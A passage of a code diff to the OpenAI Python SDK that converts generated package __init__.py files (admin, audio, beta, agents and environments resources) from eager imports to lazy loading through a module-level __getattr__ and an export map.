+ "GroupsWithStreamingResponse": (".groups", "GroupsWithStreamingResponse"),
+ "AsyncGroupsWithStreamingResponse": (".groups", "AsyncGroupsWithStreamingResponse"),
+ }
+ _SUBMODULES = {
+ "groups",
+ "roles",
+ }
+
+ def __getattr__(name: str) -> _t.Any:
+ import importlib
+
+ if name in _EXPORTS:
+ module_name, symbol_name = _EXPORTS[name]
+ value = getattr(importlib.import_module(module_name, __name__), symbol_name)
+ elif name in _SUBMODULES:
+ value = importlib.import_module(f".{name}", __name__)
+ else:
+ raise AttributeError(f"module {__name__!r} has no attribute {name!r}")
+ globals()[name] = value
+ return value
+
+ def __dir__() -> list[str]:
+ return sorted(set(globals()) | set(_EXPORTS) | _SUBMODULES)
+
__all__ = [
"Roles",
diff --git a/src/openai/resources/admin/organization/projects/service_accounts/__init__.py b/src/openai/resources/admin/organization/projects/service_accounts/__init__.py
index 06f6b96b23..21287c8608 100644
--- a/src/openai/resources/admin/organization/projects/service_accounts/__init__.py
+++ b/src/openai/resources/admin/organization/projects/service_accounts/__init__.py
@@ -1,21 +1,61 @@
# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
-from .api_keys import (
- APIKeys,
- AsyncAPIKeys,
- APIKeysWithRawResponse,
- AsyncAPIKeysWithRawResponse,
- APIKeysWithStreamingResponse,
- AsyncAPIKeysWithStreamingResponse,
-)
-from .service_accounts import (
- ServiceAccounts,
- AsyncServiceAccounts,
- ServiceAccountsWithRawResponse,
- AsyncServiceAccountsWithRawResponse,
- ServiceAccountsWithStreamingResponse,
- AsyncServiceAccountsWithStreamingResponse,
-)
+import typing as _t
+
+if _t.TYPE_CHECKING:
+ from .api_keys import (
+ APIKeys as APIKeys,
+ AsyncAPIKeys as AsyncAPIKeys,
+ APIKeysWithRawResponse as APIKeysWithRawResponse,
+ AsyncAPIKeysWithRawResponse as AsyncAPIKeysWithRawResponse,
+ APIKeysWithStreamingResponse as APIKeysWithStreamingResponse,
+ AsyncAPIKeysWithStreamingResponse as AsyncAPIKeysWithStreamingResponse,
+ )
+ from .service_accounts import (
+ ServiceAccounts as ServiceAccounts,
+ AsyncServiceAccounts as AsyncServiceAccounts,
+ ServiceAccountsWithRawResponse as ServiceAccountsWithRawResponse,
+ AsyncServiceAccountsWithRawResponse as AsyncServiceAccountsWithRawResponse,
+ ServiceAccountsWithStreamingResponse as ServiceAccountsWithStreamingResponse,
+ AsyncServiceAccountsWithStreamingResponse as AsyncServiceAccountsWithStreamingResponse,
+ )
+
+else:
+ _EXPORTS = {
+ "APIKeys": (".api_keys", "APIKeys"),
+ "AsyncAPIKeys": (".api_keys", "AsyncAPIKeys"),
+ "APIKeysWithRawResponse": (".api_keys", "APIKeysWithRawResponse"),
+ "AsyncAPIKeysWithRawResponse": (".api_keys", "AsyncAPIKeysWithRawResponse"),
+ "APIKeysWithStreamingResponse": (".api_keys", "APIKeysWithStreamingResponse"),
+ "AsyncAPIKeysWithStreamingResponse": (".api_keys", "AsyncAPIKeysWithStreamingResponse"),
+ "ServiceAccounts": (".service_accounts", "ServiceAccounts"),
+ "AsyncServiceAccounts": (".service_accounts", "AsyncServiceAccounts"),
+ "ServiceAccountsWithRawResponse": (".service_accounts", "ServiceAccountsWithRawResponse"),
+ "AsyncServiceAccountsWithRawResponse": (".service_accounts", "AsyncServiceAccountsWithRawResponse"),
+ "ServiceAccountsWithStreamingResponse": (".service_accounts", "ServiceAccountsWithStreamingResponse"),
+ "AsyncServiceAccountsWithStreamingResponse": (".service_accounts", "AsyncServiceAccountsWithStreamingResponse"),
+ }
+ _SUBMODULES = {
+ "api_keys",
+ "service_accounts",
+ }
+
+ def __getattr__(name: str) -> _t.Any:
+ import importlib
+
+ if name in _EXPORTS:
+ module_name, symbol_name = _EXPORTS[name]
+ value = getattr(importlib.import_module(module_name, __name__), symbol_name)
+ elif name in _SUBMODULES:
+ value = importlib.import_module(f".{name}", __name__)
+ else:
+ raise AttributeError(f"module {__name__!r} has no attribute {name!r}")
+ globals()[name] = value
+ return value
+
+ def __dir__() -> list[str]:
+ return sorted(set(globals()) | set(_EXPORTS) | _SUBMODULES)
+
__all__ = [
"APIKeys",
diff --git a/src/openai/resources/admin/organization/projects/users/__init__.py b/src/openai/resources/admin/organization/projects/users/__init__.py
index 777b32e619..386f5abeb4 100644
--- a/src/openai/resources/admin/organization/projects/users/__init__.py
+++ b/src/openai/resources/admin/organization/projects/users/__init__.py
@@ -1,21 +1,61 @@
# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
-from .roles import (
- Roles,
- AsyncRoles,
- RolesWithRawResponse,
- AsyncRolesWithRawResponse,
- RolesWithStreamingResponse,
- AsyncRolesWithStreamingResponse,
-)
-from .users import (
- Users,
- AsyncUsers,
- UsersWithRawResponse,
- AsyncUsersWithRawResponse,
- UsersWithStreamingResponse,
- AsyncUsersWithStreamingResponse,
-)
+import typing as _t
+
+if _t.TYPE_CHECKING:
+ from .roles import (
+ Roles as Roles,
+ AsyncRoles as AsyncRoles,
+ RolesWithRawResponse as RolesWithRawResponse,
+ AsyncRolesWithRawResponse as AsyncRolesWithRawResponse,
+ RolesWithStreamingResponse as RolesWithStreamingResponse,
+ AsyncRolesWithStreamingResponse as AsyncRolesWithStreamingResponse,
+ )
+ from .users import (
+ Users as Users,
+ AsyncUsers as AsyncUsers,
+ UsersWithRawResponse as UsersWithRawResponse,
+ AsyncUsersWithRawResponse as AsyncUsersWithRawResponse,
+ UsersWithStreamingResponse as UsersWithStreamingResponse,
+ AsyncUsersWithStreamingResponse as AsyncUsersWithStreamingResponse,
+ )
+
+else:
+ _EXPORTS = {
+ "Roles": (".roles", "Roles"),
+ "AsyncRoles": (".roles", "AsyncRoles"),
+ "RolesWithRawResponse": (".roles", "RolesWithRawResponse"),
+ "AsyncRolesWithRawResponse": (".roles", "AsyncRolesWithRawResponse"),
+ "RolesWithStreamingResponse": (".roles", "RolesWithStreamingResponse"),
+ "AsyncRolesWithStreamingResponse": (".roles", "AsyncRolesWithStreamingResponse"),
+ "Users": (".users", "Users"),
+ "AsyncUsers": (".users", "AsyncUsers"),
+ "UsersWithRawResponse": (".users", "UsersWithRawResponse"),
+ "AsyncUsersWithRawResponse": (".users", "AsyncUsersWithRawResponse"),
+ "UsersWithStreamingResponse": (".users", "UsersWithStreamingResponse"),
+ "AsyncUsersWithStreamingResponse": (".users", "AsyncUsersWithStreamingResponse"),
+ }
+ _SUBMODULES = {
+ "roles",
+ "users",
+ }
+
+ def __getattr__(name: str) -> _t.Any:
+ import importlib
+
+ if name in _EXPORTS:
+ module_name, symbol_name = _EXPORTS[name]
+ value = getattr(importlib.import_module(module_name, __name__), symbol_name)
+ elif name in _SUBMODULES:
+ value = importlib.import_module(f".{name}", __name__)
+ else:
+ raise AttributeError(f"module {__name__!r} has no attribute {name!r}")
+ globals()[name] = value
+ return value
+
+ def __dir__() -> list[str]:
+ return sorted(set(globals()) | set(_EXPORTS) | _SUBMODULES)
+
__all__ = [
"Roles",
diff --git a/src/openai/resources/admin/organization/users/__init__.py b/src/openai/resources/admin/organization/users/__init__.py
index 777b32e619..386f5abeb4 100644
--- a/src/openai/resources/admin/organization/users/__init__.py
+++ b/src/openai/resources/admin/organization/users/__init__.py
@@ -1,21 +1,61 @@
# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
-from .roles import (
- Roles,
- AsyncRoles,
- RolesWithRawResponse,
- AsyncRolesWithRawResponse,
- RolesWithStreamingResponse,
- AsyncRolesWithStreamingResponse,
-)
-from .users import (
- Users,
- AsyncUsers,
- UsersWithRawResponse,
- AsyncUsersWithRawResponse,
- UsersWithStreamingResponse,
- AsyncUsersWithStreamingResponse,
-)
+import typing as _t
+
+if _t.TYPE_CHECKING:
+ from .roles import (
+ Roles as Roles,
+ AsyncRoles as AsyncRoles,
+ RolesWithRawResponse as RolesWithRawResponse,
+ AsyncRolesWithRawResponse as AsyncRolesWithRawResponse,
+ RolesWithStreamingResponse as RolesWithStreamingResponse,
+ AsyncRolesWithStreamingResponse as AsyncRolesWithStreamingResponse,
+ )
+ from .users import (
+ Users as Users,
+ AsyncUsers as AsyncUsers,
+ UsersWithRawResponse as UsersWithRawResponse,
+ AsyncUsersWithRawResponse as AsyncUsersWithRawResponse,
+ UsersWithStreamingResponse as UsersWithStreamingResponse,
+ AsyncUsersWithStreamingResponse as AsyncUsersWithStreamingResponse,
+ )
+
+else:
+ _EXPORTS = {
+ "Roles": (".roles", "Roles"),
+ "AsyncRoles": (".roles", "AsyncRoles"),
+ "RolesWithRawResponse": (".roles", "RolesWithRawResponse"),
+ "AsyncRolesWithRawResponse": (".roles", "AsyncRolesWithRawResponse"),
+ "RolesWithStreamingResponse": (".roles", "RolesWithStreamingResponse"),
+ "AsyncRolesWithStreamingResponse": (".roles", "AsyncRolesWithStreamingResponse"),
+ "Users": (".users", "Users"),
+ "AsyncUsers": (".users", "AsyncUsers"),
+ "UsersWithRawResponse": (".users", "UsersWithRawResponse"),
+ "AsyncUsersWithRawResponse": (".users", "AsyncUsersWithRawResponse"),
+ "UsersWithStreamingResponse": (".users", "UsersWithStreamingResponse"),
+ "AsyncUsersWithStreamingResponse": (".users", "AsyncUsersWithStreamingResponse"),
+ }
+ _SUBMODULES = {
+ "roles",
+ "users",
+ }
+
+ def __getattr__(name: str) -> _t.Any:
+ import importlib
+
+ if name in _EXPORTS:
+ module_name, symbol_name = _EXPORTS[name]
+ value = getattr(importlib.import_module(module_name, __name__), symbol_name)
+ elif name in _SUBMODULES:
+ value = importlib.import_module(f".{name}", __name__)
+ else:
+ raise AttributeError(f"module {__name__!r} has no attribute {name!r}")
+ globals()[name] = value
+ return value
+
+ def __dir__() -> list[str]:
+ return sorted(set(globals()) | set(_EXPORTS) | _SUBMODULES)
+
__all__ = [
"Roles",
diff --git a/src/openai/resources/audio/__init__.py b/src/openai/resources/audio/__init__.py
index ffe62c016d..9b02948f86 100644
--- a/src/openai/resources/audio/__init__.py
+++ b/src/openai/resources/audio/__init__.py
@@ -1,37 +1,91 @@
# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
-from .audio import (
- Audio,
- AsyncAudio,
- AudioWithRawResponse,
- AsyncAudioWithRawResponse,
- AudioWithStreamingResponse,
- AsyncAudioWithStreamingResponse,
-)
-from .speech import (
- Speech,
- AsyncSpeech,
- SpeechWithRawResponse,
- AsyncSpeechWithRawResponse,
- SpeechWithStreamingResponse,
- AsyncSpeechWithStreamingResponse,
-)
-from .translations import (
- Translations,
- AsyncTranslations,
- TranslationsWithRawResponse,
- AsyncTranslationsWithRawResponse,
- TranslationsWithStreamingResponse,
- AsyncTranslationsWithStreamingResponse,
-)
-from .transcriptions import (
- Transcriptions,
- AsyncTranscriptions,
- TranscriptionsWithRawResponse,
- AsyncTranscriptionsWithRawResponse,
- TranscriptionsWithStreamingResponse,
- AsyncTranscriptionsWithStreamingResponse,
-)
+import typing as _t
+
+if _t.TYPE_CHECKING:
+ from .audio import (
+ Audio as Audio,
+ AsyncAudio as AsyncAudio,
+ AudioWithRawResponse as AudioWithRawResponse,
+ AsyncAudioWithRawResponse as AsyncAudioWithRawResponse,
+ AudioWithStreamingResponse as AudioWithStreamingResponse,
+ AsyncAudioWithStreamingResponse as AsyncAudioWithStreamingResponse,
+ )
+ from .speech import (
+ Speech as Speech,
+ AsyncSpeech as AsyncSpeech,
+ SpeechWithRawResponse as SpeechWithRawResponse,
+ AsyncSpeechWithRawResponse as AsyncSpeechWithRawResponse,
+ SpeechWithStreamingResponse as SpeechWithStreamingResponse,
+ AsyncSpeechWithStreamingResponse as AsyncSpeechWithStreamingResponse,
+ )
+ from .translations import (
+ Translations as Translations,
+ AsyncTranslations as AsyncTranslations,
+ TranslationsWithRawResponse as TranslationsWithRawResponse,
+ AsyncTranslationsWithRawResponse as AsyncTranslationsWithRawResponse,
+ TranslationsWithStreamingResponse as TranslationsWithStreamingResponse,
+ AsyncTranslationsWithStreamingResponse as AsyncTranslationsWithStreamingResponse,
+ )
+ from .transcriptions import (
+ Transcriptions as Transcriptions,
+ AsyncTranscriptions as AsyncTranscriptions,
+ TranscriptionsWithRawResponse as TranscriptionsWithRawResponse,
+ AsyncTranscriptionsWithRawResponse as AsyncTranscriptionsWithRawResponse,
+ TranscriptionsWithStreamingResponse as TranscriptionsWithStreamingResponse,
+ AsyncTranscriptionsWithStreamingResponse as AsyncTranscriptionsWithStreamingResponse,
+ )
+
+else:
+ _EXPORTS = {
+ "Transcriptions": (".transcriptions", "Transcriptions"),
+ "AsyncTranscriptions": (".transcriptions", "AsyncTranscriptions"),
+ "TranscriptionsWithRawResponse": (".transcriptions", "TranscriptionsWithRawResponse"),
+ "AsyncTranscriptionsWithRawResponse": (".transcriptions", "AsyncTranscriptionsWithRawResponse"),
+ "TranscriptionsWithStreamingResponse": (".transcriptions", "TranscriptionsWithStreamingResponse"),
+ "AsyncTranscriptionsWithStreamingResponse": (".transcriptions", "AsyncTranscriptionsWithStreamingResponse"),
+ "Translations": (".translations", "Translations"),
+ "AsyncTranslations": (".translations", "AsyncTranslations"),
+ "TranslationsWithRawResponse": (".translations", "TranslationsWithRawResponse"),
+ "AsyncTranslationsWithRawResponse": (".translations", "AsyncTranslationsWithRawResponse"),
+ "TranslationsWithStreamingResponse": (".translations", "TranslationsWithStreamingResponse"),
+ "AsyncTranslationsWithStreamingResponse": (".translations", "AsyncTranslationsWithStreamingResponse"),
+ "Speech": (".speech", "Speech"),
+ "AsyncSpeech": (".speech", "AsyncSpeech"),
+ "SpeechWithRawResponse": (".speech", "SpeechWithRawResponse"),
+ "AsyncSpeechWithRawResponse": (".speech", "AsyncSpeechWithRawResponse"),
+ "SpeechWithStreamingResponse": (".speech", "SpeechWithStreamingResponse"),
+ "AsyncSpeechWithStreamingResponse": (".speech", "AsyncSpeechWithStreamingResponse"),
+ "Audio": (".audio", "Audio"),
+ "AsyncAudio": (".audio", "AsyncAudio"),
+ "AudioWithRawResponse": (".audio", "AudioWithRawResponse"),
+ "AsyncAudioWithRawResponse": (".audio", "AsyncAudioWithRawResponse"),
+ "AudioWithStreamingResponse": (".audio", "AudioWithStreamingResponse"),
+ "AsyncAudioWithStreamingResponse": (".audio", "AsyncAudioWithStreamingResponse"),
+ }
+ _SUBMODULES = {
+ "audio",
+ "speech",
+ "transcriptions",
+ "translations",
+ }
+
+ def __getattr__(name: str) -> _t.Any:
+ import importlib
+
+ if name in _EXPORTS:
+ module_name, symbol_name = _EXPORTS[name]
+ value = getattr(importlib.import_module(module_name, __name__), symbol_name)
+ elif name in _SUBMODULES:
+ value = importlib.import_module(f".{name}", __name__)
+ else:
+ raise AttributeError(f"module {__name__!r} has no attribute {name!r}")
+ globals()[name] = value
+ return value
+
+ def __dir__() -> list[str]:
+ return sorted(set(globals()) | set(_EXPORTS) | _SUBMODULES)
+
__all__ = [
"Transcriptions",
diff --git a/src/openai/resources/beta/__init__.py b/src/openai/resources/beta/__init__.py
index de83babece..f9788b6521 100644
--- a/src/openai/resources/beta/__init__.py
+++ b/src/openai/resources/beta/__init__.py
@@ -1,53 +1,121 @@
# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
-from .beta import (
- Beta,
- AsyncBeta,
- BetaWithRawResponse,
- AsyncBetaWithRawResponse,
- BetaWithStreamingResponse,
- AsyncBetaWithStreamingResponse,
-)
-from .agents import (
- Agents,
- AsyncAgents,
- AgentsWithRawResponse,
- AsyncAgentsWithRawResponse,
- AgentsWithStreamingResponse,
- AsyncAgentsWithStreamingResponse,
-)
-from .chatkit import (
- ChatKit,
- AsyncChatKit,
- ChatKitWithRawResponse,
- AsyncChatKitWithRawResponse,
- ChatKitWithStreamingResponse,
- AsyncChatKitWithStreamingResponse,
-)
-from .threads import (
- Threads,
- AsyncThreads,
- ThreadsWithRawResponse,
- AsyncThreadsWithRawResponse,
- ThreadsWithStreamingResponse,
- AsyncThreadsWithStreamingResponse,
-)
-from .responses import (
- Responses,
- AsyncResponses,
- ResponsesWithRawResponse,
- AsyncResponsesWithRawResponse,
- ResponsesWithStreamingResponse,
- AsyncResponsesWithStreamingResponse,
-)
-from .assistants import (
- Assistants,
- AsyncAssistants,
- AssistantsWithRawResponse,
- AsyncAssistantsWithRawResponse,
- AssistantsWithStreamingResponse,
- AsyncAssistantsWithStreamingResponse,
-)
+import typing as _t
+
+if _t.TYPE_CHECKING:
+ from .beta import (
+ Beta as Beta,
+ AsyncBeta as AsyncBeta,
+ BetaWithRawResponse as BetaWithRawResponse,
+ AsyncBetaWithRawResponse as AsyncBetaWithRawResponse,
+ BetaWithStreamingResponse as BetaWithStreamingResponse,
+ AsyncBetaWithStreamingResponse as AsyncBetaWithStreamingResponse,
+ )
+ from .agents import (
+ Agents as Agents,
+ AsyncAgents as AsyncAgents,
+ AgentsWithRawResponse as AgentsWithRawResponse,
+ AsyncAgentsWithRawResponse as AsyncAgentsWithRawResponse,
+ AgentsWithStreamingResponse as AgentsWithStreamingResponse,
+ AsyncAgentsWithStreamingResponse as AsyncAgentsWithStreamingResponse,
+ )
+ from .chatkit import (
+ ChatKit as ChatKit,
+ AsyncChatKit as AsyncChatKit,
+ ChatKitWithRawResponse as ChatKitWithRawResponse,
+ AsyncChatKitWithRawResponse as AsyncChatKitWithRawResponse,
+ ChatKitWithStreamingResponse as ChatKitWithStreamingResponse,
+ AsyncChatKitWithStreamingResponse as AsyncChatKitWithStreamingResponse,
+ )
+ from .threads import (
+ Threads as Threads,
+ AsyncThreads as AsyncThreads,
+ ThreadsWithRawResponse as ThreadsWithRawResponse,
+ AsyncThreadsWithRawResponse as AsyncThreadsWithRawResponse,
+ ThreadsWithStreamingResponse as ThreadsWithStreamingResponse,
+ AsyncThreadsWithStreamingResponse as AsyncThreadsWithStreamingResponse,
+ )
+ from .responses import (
+ Responses as Responses,
+ AsyncResponses as AsyncResponses,
+ ResponsesWithRawResponse as ResponsesWithRawResponse,
+ AsyncResponsesWithRawResponse as AsyncResponsesWithRawResponse,
+ ResponsesWithStreamingResponse as ResponsesWithStreamingResponse,
+ AsyncResponsesWithStreamingResponse as AsyncResponsesWithStreamingResponse,
+ )
+ from .assistants import (
+ Assistants as Assistants,
+ AsyncAssistants as AsyncAssistants,
+ AssistantsWithRawResponse as AssistantsWithRawResponse,
+ AsyncAssistantsWithRawResponse as AsyncAssistantsWithRawResponse,
+ AssistantsWithStreamingResponse as AssistantsWithStreamingResponse,
+ AsyncAssistantsWithStreamingResponse as AsyncAssistantsWithStreamingResponse,
+ )
+
+else:
+ _EXPORTS = {
+ "Agents": (".agents", "Agents"),
+ "AsyncAgents": (".agents", "AsyncAgents"),
+ "AgentsWithRawResponse": (".agents", "AgentsWithRawResponse"),
+ "AsyncAgentsWithRawResponse": (".agents", "AsyncAgentsWithRawResponse"),
+ "AgentsWithStreamingResponse": (".agents", "AgentsWithStreamingResponse"),
+ "AsyncAgentsWithStreamingResponse": (".agents", "AsyncAgentsWithStreamingResponse"),
+ "Responses": (".responses", "Responses"),
+ "AsyncResponses": (".responses", "AsyncResponses"),
+ "ResponsesWithRawResponse": (".responses", "ResponsesWithRawResponse"),
+ "AsyncResponsesWithRawResponse": (".responses", "AsyncResponsesWithRawResponse"),
+ "ResponsesWithStreamingResponse": (".responses", "ResponsesWithStreamingResponse"),
+ "AsyncResponsesWithStreamingResponse": (".responses", "AsyncResponsesWithStreamingResponse"),
+ "ChatKit": (".chatkit", "ChatKit"),
+ "AsyncChatKit": (".chatkit", "AsyncChatKit"),
+ "ChatKitWithRawResponse": (".chatkit", "ChatKitWithRawResponse"),
+ "AsyncChatKitWithRawResponse": (".chatkit", "AsyncChatKitWithRawResponse"),
+ "ChatKitWithStreamingResponse": (".chatkit", "ChatKitWithStreamingResponse"),
+ "AsyncChatKitWithStreamingResponse": (".chatkit", "AsyncChatKitWithStreamingResponse"),
+ "Assistants": (".assistants", "Assistants"),
+ "AsyncAssistants": (".assistants", "AsyncAssistants"),
+ "AssistantsWithRawResponse": (".assistants", "AssistantsWithRawResponse"),
+ "AsyncAssistantsWithRawResponse": (".assistants", "AsyncAssistantsWithRawResponse"),
+ "AssistantsWithStreamingResponse": (".assistants", "AssistantsWithStreamingResponse"),
+ "AsyncAssistantsWithStreamingResponse": (".assistants", "AsyncAssistantsWithStreamingResponse"),
+ "Threads": (".threads", "Threads"),
+ "AsyncThreads": (".threads", "AsyncThreads"),
+ "ThreadsWithRawResponse": (".threads", "ThreadsWithRawResponse"),
+ "AsyncThreadsWithRawResponse": (".threads", "AsyncThreadsWithRawResponse"),
+ "ThreadsWithStreamingResponse": (".threads", "ThreadsWithStreamingResponse"),
+ "AsyncThreadsWithStreamingResponse": (".threads", "AsyncThreadsWithStreamingResponse"),
+ "Beta": (".beta", "Beta"),
+ "AsyncBeta": (".beta", "AsyncBeta"),
+ "BetaWithRawResponse": (".beta", "BetaWithRawResponse"),
+ "AsyncBetaWithRawResponse": (".beta", "AsyncBetaWithRawResponse"),
+ "BetaWithStreamingResponse": (".beta", "BetaWithStreamingResponse"),
+ "AsyncBetaWithStreamingResponse": (".beta", "AsyncBetaWithStreamingResponse"),
+ }
+ _SUBMODULES = {
+ "agents",
+ "assistants",
+ "beta",
+ "chatkit",
+ "responses",
+ "threads",
+ }
+
+ def __getattr__(name: str) -> _t.Any:
+ import importlib
+
+ if name in _EXPORTS:
+ module_name, symbol_name = _EXPORTS[name]
+ value = getattr(importlib.import_module(module_name, __name__), symbol_name)
+ elif name in _SUBMODULES:
+ value = importlib.import_module(f".{name}", __name__)
+ else:
+ raise AttributeError(f"module {__name__!r} has no attribute {name!r}")
+ globals()[name] = value
+ return value
+
+ def __dir__() -> list[str]:
+ return sorted(set(globals()) | set(_EXPORTS) | _SUBMODULES)
+
__all__ = [
"Agents",
diff --git a/src/openai/resources/beta/agents/__init__.py b/src/openai/resources/beta/agents/__init__.py
index 86b3e42ddb..dc5ca3d8f6 100644
--- a/src/openai/resources/beta/agents/__init__.py
+++ b/src/openai/resources/beta/agents/__init__.py
@@ -1,37 +1,91 @@
# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
-from .agents import (
- Agents,
- AsyncAgents,
- AgentsWithRawResponse,
- AsyncAgentsWithRawResponse,
- AgentsWithStreamingResponse,
- AsyncAgentsWithStreamingResponse,
-)
-from .vaults import (
- Vaults,
- AsyncVaults,
- VaultsWithRawResponse,
- AsyncVaultsWithRawResponse,
- VaultsWithStreamingResponse,
- AsyncVaultsWithStreamingResponse,
-)
-from .sessions import (
- Sessions,
- AsyncSessions,
- SessionsWithRawResponse,
- AsyncSessionsWithRawResponse,
- SessionsWithStreamingResponse,
- AsyncSessionsWithStreamingResponse,
-)
-from .environments import (
- Environments,
- AsyncEnvironments,
- EnvironmentsWithRawResponse,
- AsyncEnvironmentsWithRawResponse,
- EnvironmentsWithStreamingResponse,
- AsyncEnvironmentsWithStreamingResponse,
-)
+import typing as _t
+
+if _t.TYPE_CHECKING:
+ from .agents import (
+ Agents as Agents,
+ AsyncAgents as AsyncAgents,
+ AgentsWithRawResponse as AgentsWithRawResponse,
+ AsyncAgentsWithRawResponse as AsyncAgentsWithRawResponse,
+ AgentsWithStreamingResponse as AgentsWithStreamingResponse,
+ AsyncAgentsWithStreamingResponse as AsyncAgentsWithStreamingResponse,
+ )
+ from .vaults import (
+ Vaults as Vaults,
+ AsyncVaults as AsyncVaults,
+ VaultsWithRawResponse as VaultsWithRawResponse,
+ AsyncVaultsWithRawResponse as AsyncVaultsWithRawResponse,
+ VaultsWithStreamingResponse as VaultsWithStreamingResponse,
+ AsyncVaultsWithStreamingResponse as AsyncVaultsWithStreamingResponse,
+ )
+ from .sessions import (
+ Sessions as Sessions,
+ AsyncSessions as AsyncSessions,
+ SessionsWithRawResponse as SessionsWithRawResponse,
+ AsyncSessionsWithRawResponse as AsyncSessionsWithRawResponse,
+ SessionsWithStreamingResponse as SessionsWithStreamingResponse,
+ AsyncSessionsWithStreamingResponse as AsyncSessionsWithStreamingResponse,
+ )
+ from .environments import (
+ Environments as Environments,
+ AsyncEnvironments as AsyncEnvironments,
+ EnvironmentsWithRawResponse as EnvironmentsWithRawResponse,
+ AsyncEnvironmentsWithRawResponse as AsyncEnvironmentsWithRawResponse,
+ EnvironmentsWithStreamingResponse as EnvironmentsWithStreamingResponse,
+ AsyncEnvironmentsWithStreamingResponse as AsyncEnvironmentsWithStreamingResponse,
+ )
+
+else:
+ _EXPORTS = {
+ "Environments": (".environments", "Environments"),
+ "AsyncEnvironments": (".environments", "AsyncEnvironments"),
+ "EnvironmentsWithRawResponse": (".environments", "EnvironmentsWithRawResponse"),
+ "AsyncEnvironmentsWithRawResponse": (".environments", "AsyncEnvironmentsWithRawResponse"),
+ "EnvironmentsWithStreamingResponse": (".environments", "EnvironmentsWithStreamingResponse"),
+ "AsyncEnvironmentsWithStreamingResponse": (".environments", "AsyncEnvironmentsWithStreamingResponse"),
+ "Vaults": (".vaults", "Vaults"),
+ "AsyncVaults": (".vaults", "AsyncVaults"),
+ "VaultsWithRawResponse": (".vaults", "VaultsWithRawResponse"),
+ "AsyncVaultsWithRawResponse": (".vaults", "AsyncVaultsWithRawResponse"),
+ "VaultsWithStreamingResponse": (".vaults", "VaultsWithStreamingResponse"),
+ "AsyncVaultsWithStreamingResponse": (".vaults", "AsyncVaultsWithStreamingResponse"),
+ "Sessions": (".sessions", "Sessions"),
+ "AsyncSessions": (".sessions", "AsyncSessions"),
+ "SessionsWithRawResponse": (".sessions", "SessionsWithRawResponse"),
+ "AsyncSessionsWithRawResponse": (".sessions", "AsyncSessionsWithRawResponse"),
+ "SessionsWithStreamingResponse": (".sessions", "SessionsWithStreamingResponse"),
+ "AsyncSessionsWithStreamingResponse": (".sessions", "AsyncSessionsWithStreamingResponse"),
+ "Agents": (".agents", "Agents"),
+ "AsyncAgents": (".agents", "AsyncAgents"),
+ "AgentsWithRawResponse": (".agents", "AgentsWithRawResponse"),
+ "AsyncAgentsWithRawResponse": (".agents", "AsyncAgentsWithRawResponse"),
+ "AgentsWithStreamingResponse": (".agents", "AgentsWithStreamingResponse"),
+ "AsyncAgentsWithStreamingResponse": (".agents", "AsyncAgentsWithStreamingResponse"),
+ }
+ _SUBMODULES = {
+ "agents",
+ "environments",
+ "sessions",
+ "vaults",
+ }
+
+ def __getattr__(name: str) -> _t.Any:
+ import importlib
+
+ if name in _EXPORTS:
+ module_name, symbol_name = _EXPORTS[name]
+ value = getattr(importlib.import_module(module_name, __name__), symbol_name)
+ elif name in _SUBMODULES:
+ value = importlib.import_module(f".{name}", __name__)
+ else:
+ raise AttributeError(f"module {__name__!r} has no attribute {name!r}")
+ globals()[name] = value
+ return value
+
+ def __dir__() -> list[str]:
+ return sorted(set(globals()) | set(_EXPORTS) | _SUBMODULES)
+
__all__ = [
"Environments",
diff --git a/src/openai/resources/beta/agents/environments/__init__.py b/src/openai/resources/beta/agents/environments/__init__.py
index d308e65263..34a12b9f02 100644
--- a/src/openai/resources/beta/agents/environments/__init__.py
+++ b/src/openai/resources/beta/agents/environments/__init__.py
@@ -1,29 +1,76 @@
# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
-from .files import (
- Files,
- AsyncFiles,
- FilesWithRawResponse,
- AsyncFilesWithRawResponse,
- FilesWithStreamingResponse,
- AsyncFilesWithStreamingResponse,
-)
-from .templates import (
- Templates,
- AsyncTemplates,
- TemplatesWithRawResponse,
- AsyncTemplatesWithRawResponse,
- TemplatesWithStreamingResponse,
- AsyncTemplatesWithStreamingResponse,
-)
-from .environments import (
- Environments,
- AsyncEnvironments,
- EnvironmentsWithRawResponse,
- AsyncEnvironmentsWithRawResponse,
- EnvironmentsWithStreamingResponse,
- AsyncEnvironmentsWithStreamingResponse,
-)
+import typing as _t
+
+if _t.TYPE_CHECKING:
+ from .files import (
+ Files as Files,
+ AsyncFiles as AsyncFiles,
+ FilesWithRawResponse as FilesWithRawResponse,
+ AsyncFilesWithRawResponse as AsyncFilesWithRawResponse,
+ FilesWithStreamingResponse as FilesWithStreamingResponse,
+ AsyncFilesWithStreamingResponse as AsyncFilesWithStreamingResponse,
+ )
+ from .templates import (
+ Templates as Templates,
+ AsyncTemplates as AsyncTemplates,
+ TemplatesWithRawResponse as TemplatesWithRawResponse,
+ AsyncTemplatesWithRawResponse as AsyncTemplatesWithRawResponse,
+ TemplatesWithStreamingResponse as TemplatesWithStreamingResponse,
+ AsyncTemplatesWithStreamingResponse as AsyncTemplatesWithStreamingResponse,
+ )
+ from .environments import (
+ Environments as Environments,
+ AsyncEnvironments as AsyncEnvironments,
+ EnvironmentsWithRawResponse as EnvironmentsWithRawResponse,
+ AsyncEnvironmentsWithRawResponse as AsyncEnvironmentsWithRawResponse,
+ EnvironmentsWithStreamingResponse as EnvironmentsWithStreamingResponse,
+ AsyncEnvironmentsWithStreamingResponse as AsyncEnvironmentsWithStreamingResponse,
+ )
+
+else:
+ _EXPORTS = {
+ "Files": (".files", "Files"),
+ "AsyncFiles": (".files", "AsyncFiles"),
+ "FilesWithRawResponse": (".files", "FilesWithRawResponse"),
+ "AsyncFilesWithRawResponse": (".files", "AsyncFilesWithRawResponse"),
+ "FilesWithStreamingResponse": (".files", "FilesWithStreamingResponse"),
+ "AsyncFilesWithStreamingResponse": (".files", "AsyncFilesWithStreamingResponse"),
+ "Templates": (".templates", "Templates"),
+ "AsyncTemplates": (".templates", "AsyncTemplates"),
+ "TemplatesWithRawResponse": (".templates", "TemplatesWithRawResponse"),
+ "AsyncTemplatesWithRawResponse": (".templates", "AsyncTemplatesWithRawResponse"),
+ "TemplatesWithStreamingResponse": (".templates", "TemplatesWithStreamingResponse"),
